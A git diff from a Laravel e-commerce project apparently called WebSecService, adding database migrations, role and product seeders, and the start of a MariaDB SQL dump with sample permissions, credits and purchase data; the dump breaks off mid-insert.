diff --git a/WebSecService/database/migrations/0001_01_01_000000_create_users_table.php b/database/migrations/0001_01_01_000000_create_users_table.php similarity index 100% rename from WebSecService/database/migrations/0001_01_01_000000_create_users_table.php rename to database/migrations/0001_01_01_000000_create_users_table.php diff --git a/WebSecService/database/migrations/0001_01_01_000001_create_cache_table.php b/database/migrations/0001_01_01_000001_create_cache_table.php similarity index 100% rename from WebSecService/database/migrations/0001_01_01_000001_create_cache_table.php rename to database/migrations/0001_01_01_000001_create_cache_table.php diff --git a/WebSecService/database/migrations/0001_01_01_000002_create_jobs_table.php b/database/migrations/0001_01_01_000002_create_jobs_table.php similarity index 100% rename from WebSecService/database/migrations/0001_01_01_000002_create_jobs_table.php rename to database/migrations/0001_01_01_000002_create_jobs_table.php diff --git a/database/migrations/2024_03_19_000001_create_products_table.php b/database/migrations/2024_03_19_000001_create_products_table.php new file mode 100644 index 00000000..a554d203 --- /dev/null +++ b/database/migrations/2024_03_19_000001_create_products_table.php @@ -0,0 +1,29 @@ +id(); + $table->string('name'); + $table->string('code')->unique(); + $table->string('model'); + $table->text('description'); + $table->decimal('price', 10, 2); + $table->string('photo')->nullable(); + $table->text('review')->nullable(); + $table->integer('stock_quantity')->default(0); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('products'); + } +}; \ No newline at end of file diff --git a/database/migrations/2024_03_19_000002_create_purchases_table.php b/database/migrations/2024_03_19_000002_create_purchases_table.php new file mode 100644 index 00000000..207b9505 --- /dev/null +++ b/database/migrations/2024_03_19_000002_create_purchases_table.php @@ -0,0 +1,24 @@ +id(); + $table->foreignId('user_id')->constrained()->onDelete('cascade'); + $table->foreignId('product_id')->constrained()->onDelete('cascade'); + $table->decimal('price_at_purchase', 10, 2); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('purchases'); + } +}; \ No newline at end of file diff --git a/database/migrations/2024_03_21_000000_add_social_login_columns_to_users_table.php b/database/migrations/2024_03_21_000000_add_social_login_columns_to_users_table.php new file mode 100644 index 00000000..f9495a21 --- /dev/null +++ b/database/migrations/2024_03_21_000000_add_social_login_columns_to_users_table.php @@ -0,0 +1,24 @@ +string('google_id')->nullable(); + $table->string('google_token')->nullable(); + $table->string('google_refresh_token')->nullable(); + }); + } + + public function down() + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn(['google_id', 'google_token', 'google_refresh_token']); + }); + } +}; \ No newline at end of file diff --git a/database/migrations/2024_03_21_000001_add_stock_quantity_to_products_table.php b/database/migrations/2024_03_21_000001_add_stock_quantity_to_products_table.php new file mode 100644 index 00000000..b2e729bd --- /dev/null +++ b/database/migrations/2024_03_21_000001_add_stock_quantity_to_products_table.php @@ -0,0 +1,26 @@ +integer('stock_quantity')->default(0)->after('price'); + }); + } + } + + public function down() + { + if (Schema::hasColumn('products', 'stock_quantity')) { + Schema::table('products', function (Blueprint $table) { + $table->dropColumn('stock_quantity'); + }); + } + } +}; \ No newline at end of file diff --git a/WebSecService/database/migrations/2025_05_13_013750_create_oauth_auth_codes_table.php b/database/migrations/2025_05_13_013750_create_oauth_auth_codes_table.php similarity index 100% rename from WebSecService/database/migrations/2025_05_13_013750_create_oauth_auth_codes_table.php rename to database/migrations/2025_05_13_013750_create_oauth_auth_codes_table.php diff --git a/WebSecService/database/migrations/2025_05_13_013751_create_oauth_access_tokens_table.php b/database/migrations/2025_05_13_013751_create_oauth_access_tokens_table.php similarity index 100% rename from WebSecService/database/migrations/2025_05_13_013751_create_oauth_access_tokens_table.php rename to database/migrations/2025_05_13_013751_create_oauth_access_tokens_table.php diff --git a/WebSecService/database/migrations/2025_05_13_013752_create_oauth_refresh_tokens_table.php b/database/migrations/2025_05_13_013752_create_oauth_refresh_tokens_table.php similarity index 100% rename from WebSecService/database/migrations/2025_05_13_013752_create_oauth_refresh_tokens_table.php rename to database/migrations/2025_05_13_013752_create_oauth_refresh_tokens_table.php diff --git a/WebSecService/database/migrations/2025_05_13_013753_create_oauth_clients_table.php b/database/migrations/2025_05_13_013753_create_oauth_clients_table.php similarity index 100% rename from WebSecService/database/migrations/2025_05_13_013753_create_oauth_clients_table.php rename to database/migrations/2025_05_13_013753_create_oauth_clients_table.php diff --git a/WebSecService/database/migrations/2025_05_13_013754_create_oauth_personal_access_clients_table.php b/database/migrations/2025_05_13_013754_create_oauth_personal_access_clients_table.php similarity index 100% rename from WebSecService/database/migrations/2025_05_13_013754_create_oauth_personal_access_clients_table.php rename to database/migrations/2025_05_13_013754_create_oauth_personal_access_clients_table.php diff --git a/database/migrations/2025_05_18_105110_add_guard_name_to_roles_table.php b/database/migrations/2025_05_18_105110_add_guard_name_to_roles_table.php new file mode 100644 index 00000000..2d9ab7d0 --- /dev/null +++ b/database/migrations/2025_05_18_105110_add_guard_name_to_roles_table.php @@ -0,0 +1,25 @@ +string('guard_name')->default('web')->after('name'); + }); +} + +public function down() +{ + Schema::table('roles', function ($table) { + $table->dropColumn('guard_name'); + }); +} +}; diff --git a/database/migrations/2025_05_19_123337_create_favorites_table.php b/database/migrations/2025_05_19_123337_create_favorites_table.php new file mode 100644 index 00000000..79be05e9 --- /dev/null +++ b/database/migrations/2025_05_19_123337_create_favorites_table.php @@ -0,0 +1,32 @@ +id(); + $table->foreignId('user_id')->constrained()->onDelete('cascade'); + $table->foreignId('product_id')->constrained()->onDelete('cascade'); + $table->timestamps(); + + // Prevent duplicate favorites + $table->unique(['user_id', 'product_id']); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('favorites'); + } +}; diff --git a/database/migrations/2025_05_20_000000_fix_permissions_tables.php b/database/migrations/2025_05_20_000000_fix_permissions_tables.php new file mode 100644 index 00000000..1e446936 --- /dev/null +++ b/database/migrations/2025_05_20_000000_fix_permissions_tables.php @@ -0,0 +1,81 @@ +bigIncrements('id'); + $table->string('name'); + $table->string('guard_name'); + $table->timestamps(); + + $table->unique(['name', 'guard_name']); + }); + + Schema::create('roles', function (Blueprint $table) { + $table->bigIncrements('id'); + $table->string('name'); + $table->string('guard_name'); + $table->timestamps(); + + $table->unique(['name', 'guard_name']); + }); + + Schema::create('model_has_permissions', function (Blueprint $table) { + $table->unsignedBigInteger('permission_id'); + $table->string('model_type'); + $table->unsignedBigInteger('model_id'); + + $table->foreign('permission_id') + ->references('id') + ->on('permissions') + ->onDelete('cascade'); + + $table->primary(['permission_id', 'model_id', 'model_type']); + }); + + Schema::create('model_has_roles', function (Blueprint $table) { + $table->unsignedBigInteger('role_id'); + $table->string('model_type'); + $table->unsignedBigInteger('model_id'); + + $table->foreign('role_id') + ->references('id') + ->on('roles') + ->onDelete('cascade'); + + $table->primary(['role_id', 'model_id', 'model_type']); + }); + + Schema::create('role_has_permissions', function (Blueprint $table) { + $table->unsignedBigInteger('permission_id'); + $table->unsignedBigInteger('role_id'); + + $table->foreign('permission_id') + ->references('id') + ->on('permissions') + ->onDelete('cascade'); + + $table->foreign('role_id') + ->references('id') + ->on('roles') + ->onDelete('cascade'); + + $table->primary(['permission_id', 'role_id']); + }); + } + + public function down(): void + { + Schema::dropIfExists('role_has_permissions'); + Schema::dropIfExists('model_has_roles'); + Schema::dropIfExists('model_has_permissions'); + Schema::dropIfExists('roles'); + Schema::dropIfExists('permissions'); + } +}; \ No newline at end of file diff --git a/database/migrations/2025_05_21_081939_add_credit_to_users_table.php b/database/migrations/2025_05_21_081939_add_credit_to_users_table.php new file mode 100644 index 00000000..33718945 --- /dev/null +++ b/database/migrations/2025_05_21_081939_add_credit_to_users_table.php @@ -0,0 +1,28 @@ +decimal('credit', 10, 2)->default(0)->after('email'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('credit'); + }); + } +}; diff --git a/database/migrations/2025_05_21_184632_add_stock_quantity_to_products.php b/database/migrations/2025_05_21_184632_add_stock_quantity_to_products.php new file mode 100644 index 00000000..fec99b63 --- /dev/null +++ b/database/migrations/2025_05_21_184632_add_stock_quantity_to_products.php @@ -0,0 +1,28 @@ +integer('stock_quantity')->default(0)->after('price'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('products', function (Blueprint $table) { + // $table->dropColumn('stock_quantity'); + }); + } +}; diff --git a/database/migrations/2025_05_21_191700_fix_stock_quantity_column.php b/database/migrations/2025_05_21_191700_fix_stock_quantity_column.php new file mode 100644 index 00000000..43f1b1bc --- /dev/null +++ b/database/migrations/2025_05_21_191700_fix_stock_quantity_column.php @@ -0,0 +1,33 @@ +Field === 'stock_quantity') { + $columnExists = true; + break; + } + } + + // If column doesn't exist, add it + if (!$columnExists) { + DB::statement('ALTER TABLE products ADD COLUMN stock_quantity INT NOT NULL DEFAULT 0 AFTER price'); + } + } + + public function down() + { + // We won't remove the column in down() to prevent data loss + } +}; \ No newline at end of file diff --git a/database/migrations/2025_05_21_192440_create_purchases_table.php b/database/migrations/2025_05_21_192440_create_purchases_table.php new file mode 100644 index 00000000..f3adb617 --- /dev/null +++ b/database/migrations/2025_05_21_192440_create_purchases_table.php @@ -0,0 +1,30 @@ +id(); + $table->foreignId('user_id')->constrained()->onDelete('cascade'); + $table->foreignId('product_id')->constrained()->onDelete('cascade'); + $table->decimal('price_at_purchase', 10, 2); + $table->timestamps(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('purchases'); + } +}; diff --git a/database/migrations/2025_05_21_192500_add_price_at_purchase_to_purchases.php b/database/migrations/2025_05_21_192500_add_price_at_purchase_to_purchases.php new file mode 100644 index 00000000..59a1e349 --- /dev/null +++ b/database/migrations/2025_05_21_192500_add_price_at_purchase_to_purchases.php @@ -0,0 +1,33 @@ +Field === 'price_at_purchase') { + $columnExists = true; + break; + } + } + + // If column doesn't exist, add it + if (!$columnExists) { + DB::statement('ALTER TABLE purchases ADD COLUMN price_at_purchase DECIMAL(10,2) NOT NULL AFTER product_id'); + } + } + + public function down() + { + // We won't remove the column in down() to prevent data loss + } +}; \ No newline at end of file diff --git a/database/migrations/2025_05_21_192600_fix_purchases_table.php b/database/migrations/2025_05_21_192600_fix_purchases_table.php new file mode 100644 index 00000000..556e0334 --- /dev/null +++ b/database/migrations/2025_05_21_192600_fix_purchases_table.php @@ -0,0 +1,46 @@ +Field === 'price') { + $hasPriceColumn = true; + break; + } + } + + // If price column exists, drop it since we're using price_at_purchase + if ($hasPriceColumn) { + DB::statement('ALTER TABLE purchases DROP COLUMN price'); + } + + // Make sure price_at_purchase exists and is properly configured + $hasPriceAtPurchase = false; + foreach ($columns as $column) { + if ($column->Field === 'price_at_purchase') { + $hasPriceAtPurchase = true; + break; + } + } + + if (!$hasPriceAtPurchase) { + DB::statement('ALTER TABLE purchases ADD COLUMN price_at_purchase DECIMAL(10,2) NOT NULL AFTER product_id'); + } + } + + public function down() + { + // We won't make any changes in down() to prevent data loss + } +}; \ No newline at end of file diff --git a/WebSecService/database/seeders/DatabaseSeeder.php b/database/seeders/DatabaseSeeder.php similarity index 85% rename from WebSecService/database/seeders/DatabaseSeeder.php rename to database/seeders/DatabaseSeeder.php index d01a0ef2..76691aef 100644 --- a/WebSecService/database/seeders/DatabaseSeeder.php +++ b/database/seeders/DatabaseSeeder.php @@ -19,5 +19,9 @@ public function run(): void 'name' => 'Test User', 'email' => 'test@example.com', ]); + + $this->call([ + PermissionsTableSeeder::class, + ]); } } diff --git a/database/seeders/PermissionsTableSeeder.php b/database/seeders/PermissionsTableSeeder.php new file mode 100644 index 00000000..1931fe33 --- /dev/null +++ b/database/seeders/PermissionsTableSeeder.php @@ -0,0 +1,53 @@ + 'add_products', 'guard_name' => 'web'], + ['name' => 'edit_products', 'guard_name' => 'web'], + ['name' => 'delete_products', 'guard_name' => 'web'], + ['name' => 'show_users', 'guard_name' => 'web'], + ['name' => 'edit_users', 'guard_name' => 'web'], + ['name' => 'delete_users', 'guard_name' => 'web'], + ['name' => 'admin_users', 'guard_name' => 'web'], + ['name' => 'add_review', 'guard_name' => 'web'], + ['name' => 'manage_sales', 'guard_name' => 'web'], + ['name' => 'buy_products', 'guard_name' => 'web'], + ['name' => 'view_purchases', 'guard_name' => 'web'], + ['name' => 'manage_inventory', 'guard_name' => 'web'], + ]; + + foreach ($permissions as $permission) { + Permission::firstOrCreate($permission); + } + + // Create roles + $adminRole = Role::firstOrCreate(['name' => 'Admin']); + $employeeRole = Role::firstOrCreate(['name' => 'Employee']); + $customerRole = Role::firstOrCreate(['name' => 'Customer']); + + // Assign permissions to roles + $adminRole->givePermissionTo([ + 'add_products', 'edit_products', 'delete_products', + 'show_users', 'edit_users', 'delete_users', 'admin_users', + 'manage_sales', 'manage_inventory' + ]); + + $employeeRole->givePermissionTo([ + 'add_products', 'edit_products', 'delete_products', + 'show_users', 'manage_sales', 'manage_inventory' + ]); + + $customerRole->givePermissionTo([ + 'buy_products', 'view_purchases', 'add_review' + ]); + } +} \ No newline at end of file diff --git a/database/seeders/ProductsTableSeeder.php b/database/seeders/ProductsTableSeeder.php new file mode 100644 index 00000000..6943a4be --- /dev/null +++ b/database/seeders/ProductsTableSeeder.php @@ -0,0 +1,64 @@ + 'Laptop Pro X1', + 'code' => 'LPX1', + 'model' => '2024', + 'description' => 'High-performance laptop with latest processor and graphics.', + 'price' => 1299.99, + 'stock_quantity' => 10, + 'photo' => 'laptop.jpg' + ], + [ + 'name' => 'Smartphone Ultra', + 'code' => 'SPU1', + 'model' => '2024', + 'description' => 'Latest smartphone with advanced camera and long battery life.', + 'price' => 899.99, + 'stock_quantity' => 15, + 'photo' => 'smartphone.jpg' + ], + [ + 'name' => 'Wireless Earbuds', + 'code' => 'WEB1', + 'model' => '2024', + 'description' => 'Noise-cancelling wireless earbuds with premium sound quality.', + 'price' => 199.99, + 'stock_quantity' => 20, + 'photo' => 'earbuds.jpg' + ], + [ + 'name' => 'Smart Watch', + 'code' => 'SW1', + 'model' => '2024', + 'description' => 'Fitness tracker and smart watch with health monitoring features.', + 'price' => 299.99, + 'stock_quantity' => 8, + 'photo' => 'watch.jpg' + ], + [ + 'name' => 'Gaming Console', + 'code' => 'GC1', + 'model' => '2024', + 'description' => 'Next-gen gaming console with 4K gaming capabilities.', + 'price' => 499.99, + 'stock_quantity' => 5, + 'photo' => 'console.jpg' + ] + ]; + + foreach ($products as $product) { + Product::create($product); + } + } +} \ No newline at end of file diff --git a/database/websec.sql b/database/websec.sql new file mode 100644 index 00000000..1ac22e1e --- /dev/null +++ b/database/websec.sql @@ -0,0 +1,856 @@ +-- phpMyAdmin SQL Dump +-- version 5.2.1 +-- https://www.phpmyadmin.net/ +-- +-- Host: 127.0.0.1 +-- Generation Time: May 21, 2025 at 09:33 PM +-- Server version: 10.4.32-MariaDB +-- PHP Version: 8.2.12 + +SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; +START TRANSACTION; +SET time_zone = "+00:00"; + + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8mb4 */; + +-- +-- Database: `websec` +-- + +-- -------------------------------------------------------- + +-- +-- Table structure for table `cache` +-- + +CREATE TABLE `cache` ( + `key` varchar(255) NOT NULL, + `value` mediumtext NOT NULL, + `expiration` int(11) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `cache` +-- + +INSERT INTO `cache` (`key`, `value`, `expiration`) VALUES +('spatie.permission.cache', 'a:3:{s:5:\"alias\";a:5:{s:1:\"a\";s:2:\"id\";s:1:\"b\";s:4:\"name\";s:1:\"c\";s:10:\"guard_name\";s:1:\"r\";s:5:\"roles\";s:1:\"j\";s:11:\"description\";}s:11:\"permissions\";a:12:{i:0;a:4:{s:1:\"a\";i:1;s:1:\"b\";s:12:\"add_products\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:2:{i:0;i:1;i:1;i:2;}}i:1;a:4:{s:1:\"a\";i:2;s:1:\"b\";s:13:\"edit_products\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:2:{i:0;i:1;i:1;i:2;}}i:2;a:4:{s:1:\"a\";i:3;s:1:\"b\";s:15:\"delete_products\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:2:{i:0;i:1;i:1;i:2;}}i:3;a:4:{s:1:\"a\";i:4;s:1:\"b\";s:10:\"show_users\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:2:{i:0;i:1;i:1;i:2;}}i:4;a:4:{s:1:\"a\";i:5;s:1:\"b\";s:10:\"edit_users\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:1:{i:0;i:1;}}i:5;a:4:{s:1:\"a\";i:6;s:1:\"b\";s:12:\"delete_users\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:1:{i:0;i:1;}}i:6;a:4:{s:1:\"a\";i:7;s:1:\"b\";s:11:\"admin_users\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:1:{i:0;i:1;}}i:7;a:4:{s:1:\"a\";i:9;s:1:\"b\";s:10:\"add_review\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:1:{i:0;i:3;}}i:8;a:4:{s:1:\"a\";i:10;s:1:\"b\";s:12:\"manage_sales\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:2:{i:0;i:1;i:1;i:2;}}i:9;a:4:{s:1:\"a\";i:11;s:1:\"b\";s:12:\"buy_products\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:1:{i:0;i:3;}}i:10;a:4:{s:1:\"a\";i:12;s:1:\"b\";s:14:\"view_purchases\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:1:{i:0;i:3;}}i:11;a:4:{s:1:\"a\";i:13;s:1:\"b\";s:16:\"manage_inventory\";s:1:\"c\";s:3:\"web\";s:1:\"r\";a:2:{i:0;i:1;i:1;i:2;}}}s:5:\"roles\";a:3:{i:0;a:4:{s:1:\"a\";i:1;s:1:\"b\";s:5:\"Admin\";s:1:\"c\";s:3:\"web\";s:1:\"j\";s:30:\"Administrator with full access\";}i:1;a:4:{s:1:\"a\";i:2;s:1:\"b\";s:8:\"Employee\";s:1:\"c\";s:3:\"web\";s:1:\"j\";s:31:\"Employee who can manage credits\";}i:2;a:4:{s:1:\"a\";i:3;s:1:\"b\";s:8:\"Customer\";s:1:\"c\";s:3:\"web\";s:1:\"j\";s:39:\"Regular customer who can make purchases\";}}}', 1747942082); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `cache_locks` +-- + +CREATE TABLE `cache_locks` ( + `key` varchar(255) NOT NULL, + `owner` varchar(255) NOT NULL, + `expiration` int(11) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `credits` +-- + +CREATE TABLE `credits` ( + `id` bigint(20) UNSIGNED NOT NULL, + `user_id` bigint(20) UNSIGNED NOT NULL, + `amount` decimal(10,2) NOT NULL DEFAULT 0.00, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `credits` +-- + +INSERT INTO `credits` (`id`, `user_id`, `amount`, `created_at`, `updated_at`) VALUES +(1, 3, 8400.02, '2025-04-09 06:30:44', '2025-04-09 12:09:02'), +(5, 7, 855.00, '2025-04-09 10:57:24', '2025-04-09 10:58:11'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `credit_transactions` +-- + +CREATE TABLE `credit_transactions` ( + `id` bigint(20) UNSIGNED NOT NULL, + `user_id` bigint(20) UNSIGNED NOT NULL, + `amount` decimal(10,2) NOT NULL, + `type` varchar(255) NOT NULL, + `description` varchar(255) NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `credit_transactions` +-- + +INSERT INTO `credit_transactions` (`id`, `user_id`, `amount`, `type`, `description`, `created_at`, `updated_at`) VALUES +(1, 3, 9000.00, 'add', 'Credit added by employee', '2025-04-09 07:27:11', '2025-04-09 07:27:11'), +(2, 3, 499.99, 'purchase', 'Purchase of LG 50\" 4K Smart TV', '2025-04-09 07:27:47', '2025-04-09 07:27:47'), +(5, 3, 1299.99, 'purchase', 'Purchase of LG Double Door Refrigerator', '2025-04-09 10:33:44', '2025-04-09 10:33:44'), +(6, 7, 855.00, 'add', 'Credit added by employee', '2025-04-09 10:58:11', '2025-04-09 10:58:11'), +(7, 3, 1000.00, 'add', 'Gift credit from employee', '2025-04-09 12:09:02', '2025-04-09 12:09:02'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `failed_jobs` +-- + +CREATE TABLE `failed_jobs` ( + `id` bigint(20) UNSIGNED NOT NULL, + `uuid` varchar(255) NOT NULL, + `connection` text NOT NULL, + `queue` text NOT NULL, + `payload` longtext NOT NULL, + `exception` longtext NOT NULL, + `failed_at` timestamp NOT NULL DEFAULT current_timestamp() +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `favorites` +-- + +CREATE TABLE `favorites` ( + `id` bigint(20) UNSIGNED NOT NULL, + `user_id` bigint(20) UNSIGNED NOT NULL, + `product_id` bigint(20) UNSIGNED NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `favorites` +-- + +INSERT INTO `favorites` (`id`, `user_id`, `product_id`, `created_at`, `updated_at`) VALUES +(3, 7, 1, '2025-05-20 11:17:53', '2025-05-20 11:17:53'), +(4, 3, 2, '2025-05-21 05:29:39', '2025-05-21 05:29:39'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `jobs` +-- + +CREATE TABLE `jobs` ( + `id` bigint(20) UNSIGNED NOT NULL, + `queue` varchar(255) NOT NULL, + `payload` longtext NOT NULL, + `attempts` tinyint(3) UNSIGNED NOT NULL, + `reserved_at` int(10) UNSIGNED DEFAULT NULL, + `available_at` int(10) UNSIGNED NOT NULL, + `created_at` int(10) UNSIGNED NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `job_batches` +-- + +CREATE TABLE `job_batches` ( + `id` varchar(255) NOT NULL, + `name` varchar(255) NOT NULL, + `total_jobs` int(11) NOT NULL, + `pending_jobs` int(11) NOT NULL, + `failed_jobs` int(11) NOT NULL, + `failed_job_ids` longtext NOT NULL, + `options` mediumtext DEFAULT NULL, + `cancelled_at` int(11) DEFAULT NULL, + `created_at` int(11) NOT NULL, + `finished_at` int(11) DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `migrations` +-- + +CREATE TABLE `migrations` ( + `id` int(10) UNSIGNED NOT NULL, + `migration` varchar(255) NOT NULL, + `batch` int(11) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `migrations` +-- + +INSERT INTO `migrations` (`id`, `migration`, `batch`) VALUES +(1, '0001_01_01_000000_create_users_table', 1), +(2, '0001_01_01_000001_create_cache_table', 1), +(3, '0001_01_01_000002_create_jobs_table', 1), +(4, '2025_04_08_135822_create_roles_table', 1), +(5, '2025_04_08_135827_add_role_id_to_users_table', 1), +(6, '2025_04_08_135832_create_products_table', 1), +(7, '2025_04_08_135833_create_purchases_table', 1), +(8, '2025_04_08_135838_create_credits_table', 1), +(9, '2024_04_08_000001_create_credit_transactions_table', 2), +(10, '2025_05_13_013750_create_oauth_auth_codes_table', 3), +(11, '2025_05_13_013751_create_oauth_access_tokens_table', 3), +(12, '2025_05_13_013752_create_oauth_refresh_tokens_table', 3), +(13, '2025_05_13_013753_create_oauth_clients_table', 3), +(14, '2025_05_13_013754_create_oauth_personal_access_clients_table', 3), +(15, '2025_05_18_103910_create_permission_tables', 4), +(16, '2025_05_18_105110_add_guard_name_to_roles_table', 5), +(17, '2025_05_19_123337_create_favorites_table', 6), +(18, '2025_05_21_081939_add_credit_to_users_table', 7), +(19, '2024_03_21_000000_add_social_login_columns_to_users_table', 8), +(20, '2024_03_19_000001_create_products_table', 1), +(21, '2024_03_19_000002_create_purchases_table', 1), +(22, '2024_03_21_000001_add_stock_quantity_to_products_table', 1), +(23, '2025_05_21_191700_fix_stock_quantity_column', 9), +(24, '2025_05_21_192500_add_price_at_purchase_to_purchases', 10), +(25, '2025_05_21_192600_fix_purchases_table', 11); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `model_has_permissions` +-- + +CREATE TABLE `model_has_permissions` ( + `permission_id` bigint(20) UNSIGNED NOT NULL, + `model_type` varchar(255) NOT NULL, + `model_id` bigint(20) UNSIGNED NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `model_has_roles` +-- + +CREATE TABLE `model_has_roles` ( + `role_id` bigint(20) UNSIGNED NOT NULL, + `model_type` varchar(255) NOT NULL, + `model_id` bigint(20) UNSIGNED NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `model_has_roles` +-- + +INSERT INTO `model_has_roles` (`role_id`, `model_type`, `model_id`) VALUES +(1, 'App\\Models\\User', 1), +(2, 'App\\Models\\User', 2), +(2, 'App\\Models\\User', 9), +(3, 'App\\Models\\User', 3), +(3, 'App\\Models\\User', 7); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `oauth_access_tokens` +-- + +CREATE TABLE `oauth_access_tokens` ( + `id` varchar(100) NOT NULL, + `user_id` bigint(20) UNSIGNED DEFAULT NULL, + `client_id` char(36) NOT NULL, + `name` varchar(255) DEFAULT NULL, + `scopes` text DEFAULT NULL, + `revoked` tinyint(1) NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + `expires_at` datetime DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `oauth_auth_codes` +-- + +CREATE TABLE `oauth_auth_codes` ( + `id` varchar(100) NOT NULL, + `user_id` bigint(20) UNSIGNED NOT NULL, + `client_id` char(36) NOT NULL, + `scopes` text DEFAULT NULL, + `revoked` tinyint(1) NOT NULL, + `expires_at` datetime DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `oauth_clients` +-- + +CREATE TABLE `oauth_clients` ( + `id` char(36) NOT NULL, + `user_id` bigint(20) UNSIGNED DEFAULT NULL, + `name` varchar(255) NOT NULL, + `secret` varchar(100) DEFAULT NULL, + `provider` varchar(255) DEFAULT NULL, + `redirect` text NOT NULL, + `personal_access_client` tinyint(1) NOT NULL, + `password_client` tinyint(1) NOT NULL, + `revoked` tinyint(1) NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `oauth_personal_access_clients` +-- + +CREATE TABLE `oauth_personal_access_clients` ( + `id` bigint(20) UNSIGNED NOT NULL, + `client_id` char(36) NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `oauth_refresh_tokens` +-- + +CREATE TABLE `oauth_refresh_tokens` ( + `id` varchar(100) NOT NULL, + `access_token_id` varchar(100) NOT NULL, + `revoked` tinyint(1) NOT NULL, + `expires_at` datetime DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `password_reset_tokens` +-- + +CREATE TABLE `password_reset_tokens` ( + `email` varchar(255) NOT NULL, + `token` varchar(255) NOT NULL, + `created_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `permissions` +-- + +CREATE TABLE `permissions` ( + `id` bigint(20) UNSIGNED NOT NULL, + `name` varchar(255) NOT NULL, + `guard_name` varchar(255) NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; + +-- +-- Dumping data for table `permissions` +-- + +INSERT INTO `permissions` (`id`, `name`, `guard_name`, `created_at`, `updated_at`) VALUES +(1, 'add_products', 'web', '2025-05-18 07:44:48', '2025-05-18 07:44:48'), +(2, 'edit_products', 